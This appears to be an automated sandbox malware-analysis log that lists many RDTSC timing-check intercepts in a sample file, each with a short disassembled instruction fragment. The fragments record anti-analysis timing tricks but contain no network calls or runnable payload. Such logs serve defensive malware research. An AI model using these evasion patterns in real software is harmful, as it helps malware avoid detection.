Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A4B6B second address: 9A4B73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A4B73 second address: 9A4B77 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1DE94 second address: A1DE9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 992243 second address: 99224B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1CBBE second address: A1CBE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007FE2B0E330E7h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1CBE0 second address: A1CBFA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007FE2B0E6B886h 0x00000009 jnp 00007FE2B0E6B886h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1CBFA second address: A1CC0A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jo 00007FE2B0E330D6h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1CC0A second address: A1CC10 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1CC10 second address: A1CC16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1CC16 second address: A1CC2A instructions: 0x00000000 rdtsc 0x00000002 jo 00007FE2B0E6B888h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a js 00007FE2B0E6B88Eh 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1CEEA second address: A1CEFE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jo 00007FE2B0E330D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jns 00007FE2B0E330D8h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1D099 second address: A1D0B0 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FE2B0E6B88Eh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1D0B0 second address: A1D0B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1C61B second address: A1C61F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A22A21 second address: A22A25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A22A25 second address: A22A29 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A22A29 second address: A22A49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007FE2B0E330E6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A22C18 second address: A22C27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 jc 00007FE2B0E6B88Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A22C27 second address: A22C2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A22C2B second address: A22C3C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE2B0E6B88Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A22DE7 second address: A22DED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A22DED second address: A22DF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A22DF1 second address: A22DF5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A22DF5 second address: A22E12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a jmp 00007FE2B0E6B893h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A22E12 second address: A22E16 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A230D0 second address: A230FF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FE2B0E6B890h 0x0000000a jo 00007FE2B0E6B886h 0x00000010 popad 0x00000011 pop edx 0x00000012 pop eax 0x00000013 pushad 0x00000014 jmp 00007FE2B0E6B88Ah 0x00000019 push eax 0x0000001a push edx 0x0000001b push ecx 0x0000001c pop ecx 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A234C1 second address: A234C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A23761 second address: A23765 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A23765 second address: A23783 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007FE2B0E330E4h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A23783 second address: A237BB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE2B0E6B892h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jno 00007FE2B0E6B88Ch 0x0000000f jmp 00007FE2B0E6B890h 0x00000014 popad 0x00000015 push ebx 0x00000016 push eax 0x00000017 push edx 0x00000018 push edi 0x00000019 pop edi 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A237BB second address: A237BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A23A91 second address: A23A9F instructions: 0x00000000 rdtsc 0x00000002 jne 00007FE2B0E6B886h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A23A9F second address: A23AA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A23AA5 second address: A23AAF instructions: 0x00000000 rdtsc 0x00000002 je 00007FE2B0E6B886h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A23AAF second address: A23AB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A23AB5 second address: A23ABC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A27012 second address: A27024 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE2B0E330DCh 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A27024 second address: A27028 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A27028 second address: A2702C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2681E second address: A26828 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FE2B0E6B886h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A26828 second address: A2682C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A26975 second address: A2698E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jns 00007FE2B0E6B886h 0x0000000c popad 0x0000000d jbe 00007FE2B0E6B88Ch 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2698E second address: A269AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007FE2B0E330E7h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A26B5E second address: A26B6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A26B6C second address: A26B72 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A26B72 second address: A26B7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A26B7C second address: A26B93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE2B0E330E3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A26B93 second address: A26B9D instructions: 0x00000000 rdtsc 0x00000002 jc 00007FE2B0E6B886h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A26B9D second address: A26BA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A26BA3 second address: A26BC6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007FE2B0E6B886h 0x00000009 jmp 00007FE2B0E6B890h 0x0000000e js 00007FE2B0E6B886h 0x00000014 popad 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A26BC6 second address: A26BCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A29523 second address: A2955D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FE2B0E6B886h 0x0000000a pop esi 0x0000000b jl 00007FE2B0E6B88Ch 0x00000011 jnc 00007FE2B0E6B886h 0x00000017 pop esi 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b jmp 00007FE2B0E6B896h 0x00000020 pop eax 0x00000021 jnp 00007FE2B0E6B88Ch 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2955D second address: A29561 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2920A second address: A2920E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2920E second address: A29220 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FE2B0E330D6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A29220 second address: A29224 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2F2FA second address: A2F300 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2F300 second address: A2F31F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FE2B0E6B896h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2F31F second address: A2F323 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2E78A second address: A2E78F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2E78F second address: A2E7B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b pop eax 0x0000000c push esi 0x0000000d pop esi 0x0000000e jmp 00007FE2B0E330E8h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2EA65 second address: A2EA69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2EA69 second address: A2EA73 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FE2B0E330D6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2EEDE second address: A2EEFA instructions: 0x00000000 rdtsc 0x00000002 jg 00007FE2B0E6B886h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FE2B0E6B890h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A33AFF second address: A33B0B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007FE2B0E330D6h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A33C50 second address: A33C56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A33C56 second address: A33C5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A33C5A second address: A33C78 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FE2B0E6B895h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A33E0D second address: A33E13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A33F3D second address: A33F41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A33F41 second address: A33F4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007FE2B0E330DCh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A33F4F second address: A33F53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A33F53 second address: A33F73 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007FE2B0E330D6h 0x0000000a jmp 00007FE2B0E330E6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A34256 second address: A3425B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3425B second address: A34277 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FE2B0E330E5h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A34277 second address: A3428A instructions: 0x00000000 rdtsc 0x00000002 jns 00007FE2B0E6B886h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3428A second address: A34290 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A34290 second address: A34294 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A34294 second address: A34298 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DB377 second address: 9DB385 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov eax, dword ptr [esp+04h] 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A344F7 second address: A344FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A344FB second address: A34516 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE2B0E6B892h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A34F48 second address: A34F5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FE2B0E330D6h 0x0000000a popad 0x0000000b push eax 0x0000000c jbe 00007FE2B0E330D6h 0x00000012 pop eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 998D9B second address: 998D9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3E72D second address: A3E735 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3E8B3 second address: A3E8B9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3E8B9 second address: A3E8D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FE2B0E330E6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3E8D7 second address: A3E8E8 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FE2B0E6B886h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3EA86 second address: A3EA9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FE2B0E330D6h 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FE2B0E330DAh 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3F044 second address: A3F048 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3F048 second address: A3F04E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3F04E second address: A3F054 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3F322 second address: A3F326 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3F326 second address: A3F32C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3F32C second address: A3F331 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3F5E2 second address: A3F5E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3FB4F second address: A3FB53 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A446DA second address: A446FD instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FE2B0E6B8A5h 0x00000008 jmp 00007FE2B0E6B899h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A437BF second address: A437C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A437C5 second address: A437CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A437CB second address: A437CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A437CF second address: A437E4 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b ja 00007FE2B0E6B886h 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A437E4 second address: A437EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A437EF second address: A437F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A437F3 second address: A437F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A437F9 second address: A437FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
